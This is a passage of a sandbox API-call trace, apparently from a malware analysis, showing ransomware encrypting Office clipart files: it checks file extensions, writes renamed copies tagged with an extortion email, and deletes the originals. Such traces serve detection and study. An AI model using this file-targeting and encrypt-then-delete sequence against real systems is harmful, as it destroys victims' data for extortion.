[0257.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0257.146] lstrlenW (lpString=".jpg") returned 4 [0257.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0257.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0257.146] lstrlenW (lpString=".doc") returned 4 [0257.146] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.146] lstrlenW (lpString=".docx") returned 5 [0257.146] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0257.146] lstrlenW (lpString=".pdf") returned 4 [0257.146] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.146] lstrlenW (lpString=".xls") returned 4 [0257.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.146] lstrlenW (lpString=".xlsx") returned 5 [0257.146] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0257.146] lstrlenW (lpString=".ppt") returned 4 [0257.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0257.146] lstrlenW (lpString=".zip") returned 4 [0257.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.146] lstrlenW (lpString=".rar") returned 4 [0257.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.146] lstrlenW (lpString=".bz2") returned 4 [0257.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.146] lstrlenW (lpString=".7z") returned 3 [0257.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0257.146] lstrlenW (lpString=".dbf") returned 4 [0257.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0257.146] lstrlenW (lpString=".1cd") returned 4 [0257.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0257.146] lstrlenW (lpString=".jpg") returned 4 [0257.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.147] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.147] lstrlenW (lpString="J0105398.WMF") returned 12 [0257.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0257.191] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=3328) returned 1 [0257.191] CloseHandle (hObject=0x20c) returned 1 [0257.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf")) returned 0x20 [0257.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.307] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.307] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0257.308] GetLastError () returned 0x0 [0257.308] ReadFile (in: hFile=0x3c8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0xd00, lpOverlapped=0x0) returned 1 [0257.335] WriteFile (in: hFile=0x3a8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xd10, lpOverlapped=0x0) returned 1 [0257.336] ReadFile (in: hFile=0x3c8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.336] WriteFile (in: hFile=0x3a8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.336] SetEndOfFile (hFile=0x3a8) returned 1 [0257.336] CloseHandle (hObject=0x3a8) returned 1 [0257.336] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.336] SetEndOfFile (hFile=0x3c8) returned 1 [0257.338] CloseHandle (hObject=0x3c8) returned 1 [0257.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf")) returned 1 [0257.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0257.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0257.340] lstrlenW (lpString=".doc") returned 4 [0257.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.340] lstrlenW (lpString=".docx") returned 5 [0257.340] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0257.340] lstrlenW (lpString=".pdf") returned 4 [0257.340] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.340] lstrlenW (lpString=".xls") returned 4 [0257.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.340] lstrlenW (lpString=".xlsx") returned 5 [0257.340] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0257.340] lstrlenW (lpString=".ppt") returned 4 [0257.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0257.340] lstrlenW (lpString=".zip") returned 4 [0257.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.340] lstrlenW (lpString=".rar") returned 4 [0257.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.340] lstrlenW (lpString=".bz2") returned 4 [0257.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.340] lstrlenW (lpString=".7z") returned 3 [0257.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0257.340] lstrlenW (lpString=".dbf") returned 4 [0257.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0257.340] lstrlenW (lpString=".1cd") returned 4 [0257.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0257.340] lstrlenW (lpString=".jpg") returned 4 [0257.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0257.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0257.341] lstrlenW (lpString=".doc") returned 4 [0257.341] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.341] lstrlenW (lpString=".docx") returned 5 [0257.341] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0257.341] lstrlenW (lpString=".pdf") returned 4 [0257.341] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.341] lstrlenW (lpString=".xls") returned 4 [0257.341] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.341] lstrlenW (lpString=".xlsx") returned 5 [0257.341] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0257.341] lstrlenW (lpString=".ppt") returned 4 [0257.341] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0257.341] lstrlenW (lpString=".zip") returned 4 [0257.341] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.341] lstrlenW (lpString=".rar") returned 4 [0257.341] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.341] lstrlenW (lpString=".bz2") returned 4 [0257.341] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.341] lstrlenW (lpString=".7z") returned 3 [0257.341] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0257.341] lstrlenW (lpString=".dbf") returned 4 [0257.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0257.341] lstrlenW (lpString=".1cd") returned 4 [0257.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0257.341] lstrlenW (lpString=".jpg") returned 4 [0257.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.341] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.341] lstrlenW (lpString="J0105504.WMF") returned 12 [0257.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.405] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=4148) returned 1 [0257.405] CloseHandle (hObject=0x3e0) returned 1 [0257.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf")) returned 0x20 [0257.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0257.474] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.474] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0257.524] GetLastError () returned 0x0 [0257.524] ReadFile (in: hFile=0x3e4, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1034, lpOverlapped=0x0) returned 1 [0257.527] WriteFile (in: hFile=0x3b8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1040, lpOverlapped=0x0) returned 1 [0257.528] ReadFile (in: hFile=0x3e4, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.528] WriteFile (in: hFile=0x3b8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.528] SetEndOfFile (hFile=0x3b8) returned 1 [0257.528] CloseHandle (hObject=0x3b8) returned 1 [0257.528] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.528] SetEndOfFile (hFile=0x3e4) returned 1 [0257.599] CloseHandle (hObject=0x3e4) returned 1 [0257.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf")) returned 1 [0257.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0257.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0257.629] lstrlenW (lpString=".doc") returned 4 [0257.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.629] lstrlenW (lpString=".docx") returned 5 [0257.629] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0257.629] lstrlenW (lpString=".pdf") returned 4 [0257.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.629] lstrlenW (lpString=".xls") returned 4 [0257.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.629] lstrlenW (lpString=".xlsx") returned 5 [0257.629] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0257.629] lstrlenW (lpString=".ppt") returned 4 [0257.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0257.629] lstrlenW (lpString=".zip") returned 4 [0257.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.629] lstrlenW (lpString=".rar") returned 4 [0257.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.629] lstrlenW (lpString=".bz2") returned 4 [0257.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.629] lstrlenW (lpString=".7z") returned 3 [0257.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0257.629] lstrlenW (lpString=".dbf") returned 4 [0257.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0257.629] lstrlenW (lpString=".1cd") returned 4 [0257.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0257.630] lstrlenW (lpString=".jpg") returned 4 [0257.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0257.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0257.630] lstrlenW (lpString=".doc") returned 4 [0257.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.630] lstrlenW (lpString=".docx") returned 5 [0257.630] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0257.630] lstrlenW (lpString=".pdf") returned 4 [0257.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.630] lstrlenW (lpString=".xls") returned 4 [0257.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.630] lstrlenW (lpString=".xlsx") returned 5 [0257.630] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0257.630] lstrlenW (lpString=".ppt") returned 4 [0257.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0257.630] lstrlenW (lpString=".zip") returned 4 [0257.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.630] lstrlenW (lpString=".rar") returned 4 [0257.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.630] lstrlenW (lpString=".bz2") returned 4 [0257.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.630] lstrlenW (lpString=".7z") returned 3 [0257.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0257.630] lstrlenW (lpString=".dbf") returned 4 [0257.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0257.630] lstrlenW (lpString=".1cd") returned 4 [0257.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0257.630] lstrlenW (lpString=".jpg") returned 4 [0257.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.631] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.631] lstrlenW (lpString="J0105846.WMF") returned 12 [0257.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.648] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=8240) returned 1 [0257.648] CloseHandle (hObject=0x3e0) returned 1 [0257.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf")) returned 0x20 [0257.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.671] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.671] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0257.672] GetLastError () returned 0x0 [0257.672] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x2030, lpOverlapped=0x0) returned 1 [0257.690] WriteFile (in: hFile=0x388, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x2040, lpOverlapped=0x0) returned 1 [0257.691] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.691] WriteFile (in: hFile=0x388, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.691] SetEndOfFile (hFile=0x388) returned 1 [0257.691] CloseHandle (hObject=0x388) returned 1 [0257.691] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.691] SetEndOfFile (hFile=0x3e0) returned 1 [0257.693] CloseHandle (hObject=0x3e0) returned 1 [0257.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf")) returned 1 [0257.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0257.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0257.759] lstrlenW (lpString=".doc") returned 4 [0257.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.759] lstrlenW (lpString=".docx") returned 5 [0257.759] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0257.759] lstrlenW (lpString=".pdf") returned 4 [0257.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.759] lstrlenW (lpString=".xls") returned 4 [0257.760] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.760] lstrlenW (lpString=".xlsx") returned 5 [0257.760] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0257.760] lstrlenW (lpString=".ppt") returned 4 [0257.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0257.760] lstrlenW (lpString=".zip") returned 4 [0257.760] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.760] lstrlenW (lpString=".rar") returned 4 [0257.760] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.760] lstrlenW (lpString=".bz2") returned 4 [0257.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.760] lstrlenW (lpString=".7z") returned 3 [0257.760] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0257.760] lstrlenW (lpString=".dbf") returned 4 [0257.760] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0257.760] lstrlenW (lpString=".1cd") returned 4 [0257.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0257.760] lstrlenW (lpString=".jpg") returned 4 [0257.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0257.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0257.760] lstrlenW (lpString=".doc") returned 4 [0257.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.760] lstrlenW (lpString=".docx") returned 5 [0257.760] lstrcmpiW (lpString1=".docx", 